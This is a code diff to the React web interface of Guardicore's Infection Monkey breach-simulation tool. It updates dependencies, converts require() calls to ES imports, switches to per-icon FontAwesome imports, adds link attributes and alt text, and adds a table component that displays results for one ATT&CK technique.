"karma-sourcemap-loader": "^0.3.5",
|
"karma-sourcemap-loader": "^0.3.5",
|
||||||
"karma-webpack": "^3.0.5",
|
"karma-webpack": "^3.0.5",
|
||||||
"minimist": "^1.2.0",
|
"minimist": "^1.2.5",
|
||||||
"mocha": "^5.2.0",
|
"mocha": "^5.2.0",
|
||||||
"null-loader": "^0.1.1",
|
"null-loader": "^0.1.1",
|
||||||
"phantomjs-prebuilt": "^2.1.16",
|
"phantomjs-prebuilt": "^2.1.16",
|
||||||
"react-addons-test-utils": "^15.6.2",
|
"react-addons-test-utils": "^15.6.2",
|
||||||
"react-event-timeline": "^1.6.3",
|
"react-event-timeline": "^1.6.3",
|
||||||
"react-hot-loader": "^4.12.18",
|
"react-hot-loader": "^4.12.20",
|
||||||
"rimraf": "^2.7.1",
|
"rimraf": "^2.7.1",
|
||||||
"style-loader": "^0.22.1",
|
"style-loader": "^0.22.1",
|
||||||
"url-loader": "^1.1.2",
|
"url-loader": "^1.1.2",
|
||||||
"webpack": "^4.41.2",
|
"webpack": "^4.43.0",
|
||||||
"webpack-cli": "^3.3.10",
|
"webpack-cli": "^3.3.11",
|
||||||
"webpack-dev-server": "^3.9.0"
|
"webpack-dev-server": "^3.10.3"
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
|
"@babel/polyfill": "^7.8.0",
|
||||||
"@emotion/core": "^10.0.22",
|
"@emotion/core": "^10.0.22",
|
||||||
"@fortawesome/fontawesome-svg-core": "^1.2.25",
|
"@fortawesome/fontawesome-svg-core": "^1.2.25",
|
||||||
"@fortawesome/free-regular-svg-icons": "^5.11.2",
|
"@fortawesome/free-regular-svg-icons": "^5.11.2",
|
||||||
|
@ -110,6 +111,7 @@
|
||||||
"react-tooltip-lite": "^1.10.0",
|
"react-tooltip-lite": "^1.10.0",
|
||||||
"redux": "^4.0.4",
|
"redux": "^4.0.4",
|
||||||
"sass-loader": "^7.3.1",
|
"sass-loader": "^7.3.1",
|
||||||
"sha3": "^2.0.7"
|
"sha3": "^2.0.7",
|
||||||
|
"stylelint": "^13.3.3"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,9 +1,9 @@
|
||||||
/*eslint no-console:0 */
|
/*eslint no-console:0 */
|
||||||
'use strict';
|
'use strict';
|
||||||
require('core-js/fn/object/assign');
|
import assign from 'core-js/fn/object'
|
||||||
const webpack = require('webpack');
|
import webpack from 'webpack'
|
||||||
const WebpackDevServer = require('webpack-dev-server');
|
import WebpackDevServer from 'webpack-dev-server'
|
||||||
const config = require('./webpack.config');
|
import config from './webpack.config'
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Flag indicating whether webpack compiled for the first time.
|
* Flag indicating whether webpack compiled for the first time.
|
||||||
|
|
|
@ -2,7 +2,8 @@ import React from 'react';
|
||||||
import {BrowserRouter as Router, NavLink, Redirect, Route, Switch} from 'react-router-dom';
|
import {BrowserRouter as Router, NavLink, Redirect, Route, Switch} from 'react-router-dom';
|
||||||
import {Col, Grid, Row} from 'react-bootstrap';
|
import {Col, Grid, Row} from 'react-bootstrap';
|
||||||
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'
|
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'
|
||||||
import { faCheck, faUndo } from '@fortawesome/free-solid-svg-icons'
|
import { faCheck } from '@fortawesome/free-solid-svg-icons/faCheck'
|
||||||
|
import { faUndo } from '@fortawesome/free-solid-svg-icons/faUndo'
|
||||||
|
|
||||||
import RunServerPage from 'components/pages/RunServerPage';
|
import RunServerPage from 'components/pages/RunServerPage';
|
||||||
import ConfigurePage from 'components/pages/ConfigurePage';
|
import ConfigurePage from 'components/pages/ConfigurePage';
|
||||||
|
@ -25,10 +26,10 @@ import 'react-toggle/style.css';
|
||||||
import 'react-table/react-table.css';
|
import 'react-table/react-table.css';
|
||||||
import VersionComponent from './side-menu/VersionComponent';
|
import VersionComponent from './side-menu/VersionComponent';
|
||||||
|
|
||||||
let logoImage = require('../images/monkey-icon.svg');
|
import logoImage from '../images/monkey-icon.svg';
|
||||||
let infectionMonkeyImage = require('../images/infection-monkey.svg');
|
import infectionMonkeyImage from '../images/infection-monkey.svg';
|
||||||
let guardicoreLogoImage = require('../images/guardicore-logo.png');
|
import guardicoreLogoImage from '../images/guardicore-logo.png';
|
||||||
let notificationIcon = require('../images/notification-logo-512x512.png');
|
import notificationIcon from '../images/notification-logo-512x512.png';
|
||||||
|
|
||||||
const reportZeroTrustRoute = '/report/zeroTrust';
|
const reportZeroTrustRoute = '/report/zeroTrust';
|
||||||
|
|
||||||
|
@ -125,7 +126,7 @@ class AppComponent extends AuthComponent {
|
||||||
<Row>
|
<Row>
|
||||||
<Col sm={3} md={2} className='sidebar'>
|
<Col sm={3} md={2} className='sidebar'>
|
||||||
<div className='header'>
|
<div className='header'>
|
||||||
<img src={logoImage} style={{width: '5vw', margin: '15px'}}/>
|
<img alt="logo" src={logoImage} style={{width: '5vw', margin: '15px'}}/>
|
||||||
<img src={infectionMonkeyImage} style={{width: '15vw'}} alt='Infection Monkey'/>
|
<img src={infectionMonkeyImage} style={{width: '15vw'}} alt='Infection Monkey'/>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
@ -188,7 +189,7 @@ class AppComponent extends AuthComponent {
|
||||||
<hr/>
|
<hr/>
|
||||||
<div className='guardicore-link text-center' style={{'marginBottom': '0.5em'}}>
|
<div className='guardicore-link text-center' style={{'marginBottom': '0.5em'}}>
|
||||||
<span>Powered by</span>
|
<span>Powered by</span>
|
||||||
<a href='http://www.guardicore.com' target='_blank'>
|
<a href='http://www.guardicore.com' rel="noopener noreferrer" target='_blank'>
|
||||||
<img src={guardicoreLogoImage} alt='GuardiCore'/>
|
<img src={guardicoreLogoImage} alt='GuardiCore'/>
|
||||||
</a>
|
</a>
|
||||||
</div>
|
</div>
|
||||||
|
|
|
@ -8,8 +8,8 @@ import '../../styles/Tooltip.scss';
|
||||||
import {Col} from 'react-bootstrap';
|
import {Col} from 'react-bootstrap';
|
||||||
|
|
||||||
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
|
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
|
||||||
import { faCircle as faCircle } from '@fortawesome/free-solid-svg-icons';
|
import { faCircle as faCircle } from '@fortawesome/free-solid-svg-icons/faCircle';
|
||||||
import { faCircle as faCircleThin } from '@fortawesome/free-regular-svg-icons';
|
import { faCircle as faCircleThin } from '@fortawesome/free-regular-svg-icons/faCircle';
|
||||||
|
|
||||||
class ConfigMatrixComponent extends AuthComponent {
|
class ConfigMatrixComponent extends AuthComponent {
|
||||||
constructor(props) {
|
constructor(props) {
|
||||||
|
|
|
@ -49,7 +49,7 @@ class MitigationsComponent extends React.Component {
|
||||||
|
|
||||||
static getMitigationName(name, url) {
|
static getMitigationName(name, url) {
|
||||||
if(url){
|
if(url){
|
||||||
return (<a href={url} target={'_blank'}>{name}</a>)
|
return (<a href={url} rel="noopener noreferrer" target={'_blank'}>{name}</a>)
|
||||||
} else {
|
} else {
|
||||||
return (<p>{name}</p>)
|
return (<p>{name}</p>)
|
||||||
}
|
}
|
||||||
|
|
|
@ -0,0 +1,43 @@
|
||||||
|
import React from 'react';
|
||||||
|
import ReactTable from 'react-table';
|
||||||
|
import {renderMachineFromSystemData, ScanStatus} from './Helpers'
|
||||||
|
|
||||||
|
class T1136 extends React.Component {
|
||||||
|
|
||||||
|
constructor(props) {
|
||||||
|
super(props);
|
||||||
|
}
|
||||||
|
|
||||||
|
static getColumns() {
|
||||||
|
return ([{
|
||||||
|
columns: [
|
||||||
|
{ Header: 'Machine',
|
||||||
|
id: 'machine',
|
||||||
|
accessor: x => renderMachineFromSystemData(x.machine),
|
||||||
|
style: {'whiteSpace': 'unset'}},
|
||||||
|
{ Header: 'Result',
|
||||||
|
id: 'result',
|
||||||
|
accessor: x => x.result,
|
||||||
|
style: {'whiteSpace': 'unset'}}
|
||||||
|
]
|
||||||
|
}])
|
||||||
|
}
|
||||||
|
|
||||||
|
render() {
|
||||||
|
return (
|
||||||
|
<div>
|
||||||
|
<div>{this.props.data.message}</div>
|
||||||
|
<br/>
|
||||||
|
{this.props.data.status === ScanStatus.USED ?
|
||||||
|
<ReactTable
|
||||||
|
columns={T1136.getColumns()}
|
||||||
|
data={this.props.data.info}
|
||||||
|
showPagination={false}
|
||||||
|
defaultPageSize={this.props.data.info.length}
|
||||||
|
/> : ''}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export default T1136;
|
|
@ -1,6 +1,6 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'
|
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'
|
||||||
import { faHandPointLeft } from '@fortawesome/free-solid-svg-icons'
|
import { faHandPointLeft } from '@fortawesome/free-solid-svg-icons/faHandPointLeft'
|
||||||
import Toggle from 'react-toggle';
|
import Toggle from 'react-toggle';
|
||||||
import {OverlayTrigger, Tooltip} from 'react-bootstrap';
|
import {OverlayTrigger, Tooltip} from 'react-bootstrap';
|
||||||
import download from 'downloadjs'
|
import download from 'downloadjs'
|
||||||
|
|
|
@ -346,8 +346,8 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
throw Error()
|
throw Error()
|
||||||
}
|
}
|
||||||
return res;
|
return res;
|
||||||
}).catch(error => {
|
}).catch((error) => {
|
||||||
console.log('bad configuration');
|
console.log(`bad configuration ${error}`);
|
||||||
this.setState({lastAction: 'invalid_configuration'});
|
this.setState({lastAction: 'invalid_configuration'});
|
||||||
}));
|
}));
|
||||||
}
|
}
|
||||||
|
|
|
@ -21,10 +21,10 @@ class LicensePageComponent extends React.Component {
|
||||||
<p>
|
<p>
|
||||||
Copyright <i className="glyphicon glyphicon-copyright-mark"/> {rainge(2015)} Guardicore Ltd.
|
Copyright <i className="glyphicon glyphicon-copyright-mark"/> {rainge(2015)} Guardicore Ltd.
|
||||||
<br/>
|
<br/>
|
||||||
Licensed under <a href="https://www.gnu.org/licenses/gpl-3.0.html" target="_blank">GPLv3</a>.
|
Licensed under <a href="https://www.gnu.org/licenses/gpl-3.0.html" rel="noopener noreferrer" target="_blank">GPLv3</a>.
|
||||||
</p>
|
</p>
|
||||||
<p>
|
<p>
|
||||||
The source code is available on <a href="https://github.com/guardicore/monkey" target="_blank">GitHub</a>
|
The source code is available on <a href="https://github.com/guardicore/monkey" rel="noopener noreferrer" target="_blank">GitHub</a>
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</Col>
|
</Col>
|
||||||
|
|
|
@ -2,7 +2,8 @@ import React from 'react';
|
||||||
import {Col, Modal} from 'react-bootstrap';
|
import {Col, Modal} from 'react-bootstrap';
|
||||||
import {Link} from 'react-router-dom';
|
import {Link} from 'react-router-dom';
|
||||||
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'
|
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'
|
||||||
import { faStopCircle, faMinus } from '@fortawesome/free-solid-svg-icons'
|
import { faStopCircle } from '@fortawesome/free-solid-svg-icons/faStopCircle'
|
||||||
|
import { faMinus } from '@fortawesome/free-solid-svg-icons/faMinus'
|
||||||
import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane';
|
import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane';
|
||||||
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
|
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
|
||||||
import {getOptions, edgeGroupToColor} from 'components/map/MapOptions';
|
import {getOptions, edgeGroupToColor} from 'components/map/MapOptions';
|
||||||
|
|
|
@ -2,7 +2,7 @@ import React from 'react';
|
||||||
|
|
||||||
import '../../styles/NotFoundPage.scss';
|
import '../../styles/NotFoundPage.scss';
|
||||||
|
|
||||||
let monkeyDetective = require('../../images/detective-monkey.svg');
|
import monkeyDetective from '../../images/detective-monkey.svg';
|
||||||
|
|
||||||
class ConfigurePageComponent extends React.Component{
|
class ConfigurePageComponent extends React.Component{
|
||||||
constructor(props) {
|
constructor(props) {
|
||||||
|
@ -12,7 +12,7 @@ class ConfigurePageComponent extends React.Component{
|
||||||
render(){
|
render(){
|
||||||
return(
|
return(
|
||||||
<div className={'not-found'}>
|
<div className={'not-found'}>
|
||||||
<img className={'monkey-detective'} src={monkeyDetective}/>
|
<img alt="404 monkey image" className={'monkey-detective'} src={monkeyDetective}/>
|
||||||
<div className={'text-block'}>
|
<div className={'text-block'}>
|
||||||
<h1 className={'not-found-title'}>404</h1>
|
<h1 className={'not-found-title'}>404</h1>
|
||||||
<h2 className={'not-found-subtitle'}>Page not found</h2>
|
<h2 className={'not-found-subtitle'}>Page not found</h2>
|
||||||
|
|
|
@ -5,12 +5,16 @@ import CopyToClipboard from 'react-copy-to-clipboard';
|
||||||
import GridLoader from 'react-spinners/GridLoader';
|
import GridLoader from 'react-spinners/GridLoader';
|
||||||
|
|
||||||
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
|
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
|
||||||
import { faClipboard, faCheck, faSync } from '@fortawesome/free-solid-svg-icons';
|
import { faClipboard } from '@fortawesome/free-solid-svg-icons/faClipboard';
|
||||||
|
import { faCheck } from '@fortawesome/free-solid-svg-icons/faCheck';
|
||||||
|
import { faSync } from '@fortawesome/free-solid-svg-icons/faSync';
|
||||||
|
|
||||||
import {Link} from 'react-router-dom';
|
import {Link} from 'react-router-dom';
|
||||||
import AuthComponent from '../AuthComponent';
|
import AuthComponent from '../AuthComponent';
|
||||||
import AwsRunTable from '../run-monkey/AwsRunTable';
|
import AwsRunTable from '../run-monkey/AwsRunTable';
|
||||||
|
|
||||||
|
import '../../styles/MonkeyRunPage.scss';
|
||||||
|
|
||||||
const loading_css_override = css`
|
const loading_css_override = css`
|
||||||
display: block;
|
display: block;
|
||||||
margin-right: auto;
|
margin-right: auto;
|
||||||
|
@ -252,7 +256,7 @@ class RunMonkeyPageComponent extends AuthComponent {
|
||||||
<i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/>
|
<i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/>
|
||||||
Not sure what this is? Not seeing your AWS EC2 instances? <a
|
Not sure what this is? Not seeing your AWS EC2 instances? <a
|
||||||
href="https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances"
|
href="https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances"
|
||||||
target="_blank">Read the documentation</a>!
|
rel="noopener noreferrer" target="_blank">Read the documentation</a>!
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
{
|
{
|
||||||
|
@ -325,7 +329,8 @@ class RunMonkeyPageComponent extends AuthComponent {
|
||||||
Choose the operating system where you want to run the monkey
|
Choose the operating system where you want to run the monkey
|
||||||
{this.state.ips.length > 1 ? ', and the interface to communicate with.' : '.'}
|
{this.state.ips.length > 1 ? ', and the interface to communicate with.' : '.'}
|
||||||
</p>
|
</p>
|
||||||
<Nav bsStyle="pills" justified activeKey={this.state.selectedOs} onSelect={this.setSelectedOs}>
|
<Nav bsStyle='pills' id={'bootstrap-override'} className={'runOnOsButtons'}
|
||||||
|
justified activeKey={this.state.selectedOs} onSelect={this.setSelectedOs}>
|
||||||
<NavItem key='windows-32' eventKey='windows-32'>Windows (32 bit)</NavItem>
|
<NavItem key='windows-32' eventKey='windows-32'>Windows (32 bit)</NavItem>
|
||||||
<NavItem key='windows-64' eventKey='windows-64'>Windows (64 bit)</NavItem>
|
<NavItem key='windows-64' eventKey='windows-64'>Windows (64 bit)</NavItem>
|
||||||
<NavItem key='linux-32' eventKey='linux-32'>Linux (32 bit)</NavItem>
|
<NavItem key='linux-32' eventKey='linux-32'>Linux (32 bit)</NavItem>
|
||||||
|
|
|
@ -22,7 +22,7 @@ class RunServerPageComponent extends React.Component {
|
||||||
</p>
|
</p>
|
||||||
<p>
|
<p>
|
||||||
To read more about the Monkey, visit <a href="http://infectionmonkey.com"
|
To read more about the Monkey, visit <a href="http://infectionmonkey.com"
|
||||||
target="_blank">infectionmonkey.com</a>
|
rel="noopener noreferrer" target="_blank">infectionmonkey.com</a>
|
||||||
</p>
|
</p>
|
||||||
<p>
|
<p>
|
||||||
Go ahead and <Link to="/run-monkey">run the monkey</Link>.
|
Go ahead and <Link to="/run-monkey">run the monkey</Link>.
|
||||||
|
|
|
@ -3,7 +3,10 @@ import {Col, Button} from 'react-bootstrap';
|
||||||
import '../../styles/Collapse.scss';
|
import '../../styles/Collapse.scss';
|
||||||
import '../../styles/report/AttackReport.scss';
|
import '../../styles/report/AttackReport.scss';
|
||||||
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
|
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
|
||||||
import {faCircle, faEye, faEyeSlash, faRadiation} from '@fortawesome/free-solid-svg-icons';
|
import {faCircle} from '@fortawesome/free-solid-svg-icons/faCircle';
|
||||||
|
import {faRadiation} from '@fortawesome/free-solid-svg-icons/faRadiation';
|
||||||
|
import {faEye} from '@fortawesome/free-solid-svg-icons/faEye';
|
||||||
|
import {faEyeSlash} from '@fortawesome/free-solid-svg-icons/faEyeSlash';
|
||||||
|
|
||||||
import ReportHeader, {ReportTypes} from './common/ReportHeader';
|
import ReportHeader, {ReportTypes} from './common/ReportHeader';
|
||||||
import {ScanStatus} from '../attack/techniques/Helpers';
|
import {ScanStatus} from '../attack/techniques/Helpers';
|
||||||
|
|
|
@ -16,9 +16,8 @@ import SecurityIssuesGlance from './common/SecurityIssuesGlance';
|
||||||
import PrintReportButton from './common/PrintReportButton';
|
import PrintReportButton from './common/PrintReportButton';
|
||||||
|
|
||||||
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
|
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
|
||||||
import { faMinus } from '@fortawesome/free-solid-svg-icons';
|
import { faMinus } from '@fortawesome/free-solid-svg-icons/faMinus';
|
||||||
|
import guardicoreLogoImage from '../../images/guardicore-logo.png'
|
||||||
let guardicoreLogoImage = require('../../images/guardicore-logo.png');
|
|
||||||
|
|
||||||
|
|
||||||
class ReportPageComponent extends AuthComponent {
|
class ReportPageComponent extends AuthComponent {
|
||||||
|
|
|
@ -20,7 +20,7 @@ class ReportMatrixComponent extends React.Component {
|
||||||
}
|
}
|
||||||
let tech_type = this.state.schema.properties[type_key];
|
let tech_type = this.state.schema.properties[type_key];
|
||||||
columns.push({
|
columns.push({
|
||||||
Header: () => (<a href={tech_type.link} target="_blank">{tech_type.title}</a>),
|
Header: () => (<a href={tech_type.link} rel="noopener noreferrer" target="_blank">{tech_type.title}</a>),
|
||||||
id: type_key,
|
id: type_key,
|
||||||
accessor: x => this.renderTechnique(x[tech_type.title]),
|
accessor: x => this.renderTechnique(x[tech_type.title]),
|
||||||
style: {'whiteSpace': 'unset'}
|
style: {'whiteSpace': 'unset'}
|
||||||
|
|
|
@ -3,9 +3,9 @@ import Collapse from '@kunukn/react-collapse';
|
||||||
|
|
||||||
import AttackReport from '../AttackReport';
|
import AttackReport from '../AttackReport';
|
||||||
import {FontAwesomeIcon} from '@fortawesome/react-fontawesome';
|
import {FontAwesomeIcon} from '@fortawesome/react-fontawesome';
|
||||||
import {faQuestionCircle} from '@fortawesome/free-solid-svg-icons';
|
import {faQuestionCircle} from '@fortawesome/free-solid-svg-icons/faQuestionCircle';
|
||||||
|
|
||||||
const classNames = require('classnames');
|
import classNames from 'classnames';
|
||||||
|
|
||||||
class SelectedTechnique extends React.Component {
|
class SelectedTechnique extends React.Component {
|
||||||
|
|
||||||
|
@ -37,7 +37,7 @@ class SelectedTechnique extends React.Component {
|
||||||
{this.state.techniques[tech_id].title}
|
{this.state.techniques[tech_id].title}
|
||||||
</span>
|
</span>
|
||||||
<span>
|
<span>
|
||||||
<a href={this.state.techniques[tech_id].link} target='_blank' className={'link-to-technique'}>
|
<a href={this.state.techniques[tech_id].link} rel="noopener noreferrer" target='_blank' className={'link-to-technique'}>
|
||||||
<FontAwesomeIcon icon={faQuestionCircle}/>
|
<FontAwesomeIcon icon={faQuestionCircle}/>
|
||||||
</a>
|
</a>
|
||||||
</span>
|
</span>
|
||||||
|
|
|
@ -1,12 +1,15 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
import Collapse from '@kunukn/react-collapse';
|
import Collapse from '@kunukn/react-collapse';
|
||||||
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'
|
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'
|
||||||
import { faQuestionCircle, faChevronUp, faChevronDown, faToggleOn } from '@fortawesome/free-solid-svg-icons'
|
import { faQuestionCircle } from '@fortawesome/free-solid-svg-icons/faQuestionCircle'
|
||||||
|
import { faChevronUp } from '@fortawesome/free-solid-svg-icons/faChevronUp'
|
||||||
|
import { faChevronDown } from '@fortawesome/free-solid-svg-icons/faChevronDown'
|
||||||
|
import { faToggleOn } from '@fortawesome/free-solid-svg-icons/faToggleON'
|
||||||
|
|
||||||
import {Button} from 'react-bootstrap';
|
import {Button} from 'react-bootstrap';
|
||||||
import AttackReport from '../AttackReport';
|
import AttackReport from '../AttackReport';
|
||||||
|
|
||||||
const classNames = require('classnames');
|
import classNames from 'classnames';
|
||||||
|
|
||||||
class TechniqueDropdowns extends React.Component{
|
class TechniqueDropdowns extends React.Component{
|
||||||
|
|
||||||
|
@ -40,7 +43,7 @@ class TechniqueDropdowns extends React.Component{
|
||||||
{this.state.techniques[tech_id].title}
|
{this.state.techniques[tech_id].title}
|
||||||
</span>
|
</span>
|
||||||
<span>
|
<span>
|
||||||
<a href={this.state.techniques[tech_id].link} target='_blank' className={'link-to-technique'}>
|
<a href={this.state.techniques[tech_id].link} rel="noopener noreferrer" target='_blank' className={'link-to-technique'}>
|
||||||
<FontAwesomeIcon icon={faQuestionCircle}/>
|
<FontAwesomeIcon icon={faQuestionCircle}/>
|
||||||
</a>
|
</a>
|
||||||
<FontAwesomeIcon icon={this.state.collapseOpen === tech_id ? faChevronDown : faChevronUp}/>
|
<FontAwesomeIcon icon={this.state.collapseOpen === tech_id ? faChevronDown : faChevronUp}/>
|
||||||
|
|
|
@ -2,7 +2,7 @@ import React, {Component} from 'react';
|
||||||
import {Col} from 'react-bootstrap';
|
import {Col} from 'react-bootstrap';
|
||||||
import * as PropTypes from 'prop-types';
|
import * as PropTypes from 'prop-types';
|
||||||
|
|
||||||
let monkeyLogoImage = require('../../../images/monkey-icon.svg');
|
import monkeyLogoImage from '../../../images/monkey-icon.svg';
|
||||||
|
|
||||||
export const ReportTypes = {
|
export const ReportTypes = {
|
||||||
zeroTrust: 'Zero Trust',
|
zeroTrust: 'Zero Trust',
|
||||||
|
@ -29,7 +29,7 @@ export class ReportHeader extends Component {
|
||||||
</div>
|
</div>
|
||||||
</Col>
|
</Col>
|
||||||
<Col xs={4}>
|
<Col xs={4}>
|
||||||
<img src={monkeyLogoImage}
|
<img alt="monkey logo image" src={monkeyLogoImage}
|
||||||
style={{
|
style={{
|
||||||
float: 'right',
|
float: 'right',
|
||||||
width: '80px'
|
width: '80px'
|
||||||
|
|
|
@ -4,7 +4,7 @@ import {Badge, Button} from 'react-bootstrap';
|
||||||
import * as PropTypes from 'prop-types';
|
import * as PropTypes from 'prop-types';
|
||||||
|
|
||||||
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
|
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
|
||||||
import { faList } from '@fortawesome/free-solid-svg-icons';
|
import { faList } from '@fortawesome/free-solid-svg-icons/faList';
|
||||||
|
|
||||||
export default class EventsButton extends Component {
|
export default class EventsButton extends Component {
|
||||||
constructor(props) {
|
constructor(props) {
|
||||||
|
|
|
@ -2,8 +2,8 @@ import React, {Component} from 'react';
|
||||||
import {Timeline, TimelineEvent} from 'react-event-timeline';
|
import {Timeline, TimelineEvent} from 'react-event-timeline';
|
||||||
import * as PropTypes from 'prop-types';
|
import * as PropTypes from 'prop-types';
|
||||||
|
|
||||||
let monkeyLocalIcon = require('../../../images/zerotrust/im-alert-machine-icon.svg');
|
import monkeyLocalIcon from '../../../images/zerotrust/im-alert-machine-icon.svg';
|
||||||
let monkeyNetworkIcon = require('../../../images/zerotrust/im-alert-network-icon.svg');
|
import monkeyNetworkIcon from '../../../images/zerotrust/im-alert-network-icon.svg';
|
||||||
|
|
||||||
const eventTypeToIcon = {
|
const eventTypeToIcon = {
|
||||||
'monkey_local': monkeyLocalIcon,
|
'monkey_local': monkeyLocalIcon,
|
||||||
|
|
|
@ -3,7 +3,7 @@ import {Button} from 'react-bootstrap';
|
||||||
import * as PropTypes from 'prop-types';
|
import * as PropTypes from 'prop-types';
|
||||||
|
|
||||||
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
|
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
|
||||||
import { faDownload } from '@fortawesome/free-solid-svg-icons';
|
import { faDownload } from '@fortawesome/free-solid-svg-icons/faDownload';
|
||||||
|
|
||||||
export default class ExportEventsButton extends Component {
|
export default class ExportEventsButton extends Component {
|
||||||
render() {
|
render() {
|
||||||
|
|
|
@ -1,7 +1,5 @@
|
||||||
import React, {Component, Fragment} from 'react';
|
import React, {Component} from 'react';
|
||||||
import PillarLabel from './PillarLabel';
|
import {ZeroTrustStatuses} from './ZeroTrustPillars';
|
||||||
import EventsButton from './EventsButton';
|
|
||||||
import ZeroTrustPillars, {ZeroTrustStatuses} from './ZeroTrustPillars';
|
|
||||||
import {FindingsTable} from './FindingsTable';
|
import {FindingsTable} from './FindingsTable';
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -3,7 +3,13 @@ import {statusToLabelType} from './StatusLabel';
|
||||||
import * as PropTypes from 'prop-types';
|
import * as PropTypes from 'prop-types';
|
||||||
|
|
||||||
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
|
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
|
||||||
import { faDatabase, faUser, faWifi, faCloud, faLaptop, faEyeSlash, faCogs } from '@fortawesome/free-solid-svg-icons';
|
import { faDatabase } from '@fortawesome/free-solid-svg-icons/faDatabase';
|
||||||
|
import { faUser } from '@fortawesome/free-solid-svg-icons/faUser';
|
||||||
|
import { faWifi } from '@fortawesome/free-solid-svg-icons/faWifi';
|
||||||
|
import { faCloud } from '@fortawesome/free-solid-svg-icons/faCloud';
|
||||||
|
import { faLaptop } from '@fortawesome/free-solid-svg-icons/faLaptop';
|
||||||
|
import { faEyeSlash } from '@fortawesome/free-solid-svg-icons/faEyeSlash';
|
||||||
|
import { faCogs } from '@fortawesome/free-solid-svg-icons/faCogs';
|
||||||
|
|
||||||
const pillarToIcon = {
|
const pillarToIcon = {
|
||||||
'Data': faDatabase,
|
'Data': faDatabase,
|
||||||
|
|
|
@ -5,7 +5,7 @@ import {NavLink} from 'react-router-dom';
|
||||||
import {Panel} from 'react-bootstrap';
|
import {Panel} from 'react-bootstrap';
|
||||||
|
|
||||||
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
|
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
|
||||||
import { faChevronDown } from '@fortawesome/free-solid-svg-icons';
|
import { faChevronDown } from '@fortawesome/free-solid-svg-icons/faChevronDown';
|
||||||
|
|
||||||
|
|
||||||
class ZeroTrustReportLegend extends Component {
|
class ZeroTrustReportLegend extends Component {
|
||||||
|
|
|
@ -2,7 +2,10 @@ import React, {Component} from 'react';
|
||||||
import * as PropTypes from 'prop-types';
|
import * as PropTypes from 'prop-types';
|
||||||
|
|
||||||
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
|
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
|
||||||
import { faCheck, faExclamationTriangle, faBomb, faQuestion } from '@fortawesome/free-solid-svg-icons';
|
import { faCheck } from '@fortawesome/free-solid-svg-icons/faCheck';
|
||||||
|
import { faExclamationTriangle } from '@fortawesome/free-solid-svg-icons/faExclamationTriangle';
|
||||||
|
import { faBomb } from '@fortawesome/free-solid-svg-icons/faBomb';
|
||||||
|
import { faQuestion } from '@fortawesome/free-solid-svg-icons/faQuestion';
|
||||||
|
|
||||||
const statusToIcon = {
|
const statusToIcon = {
|
||||||
'Passed': faCheck,
|
'Passed': faCheck,
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
|
|
||||||
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
|
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
|
||||||
import { faDownload } from '@fortawesome/free-solid-svg-icons';
|
import { faDownload } from '@fortawesome/free-solid-svg-icons/faDownload';
|
||||||
|
|
||||||
class VersionComponent extends React.Component {
|
class VersionComponent extends React.Component {
|
||||||
constructor(props) {
|
constructor(props) {
|
||||||
|
@ -34,7 +34,7 @@ class VersionComponent extends React.Component {
|
||||||
<div>
|
<div>
|
||||||
<b>Newer version available!</b>
|
<b>Newer version available!</b>
|
||||||
<br/>
|
<br/>
|
||||||
<b><a target="_blank" href={this.state.downloadLink}>Download here <FontAwesomeIcon icon={faDownload}/></a></b>
|
<b><a rel="noopener noreferrer" target="_blank" href={this.state.downloadLink}>Download here <FontAwesomeIcon icon={faDownload}/></a></b>
|
||||||
</div>
|
</div>
|
||||||
:
|
:
|
||||||
undefined
|
undefined
|
||||||
|
|
|
@ -83,7 +83,7 @@ class CheckboxComponent extends React.PureComponent {
|
||||||
type='checkbox' value={this.state.checked}
|
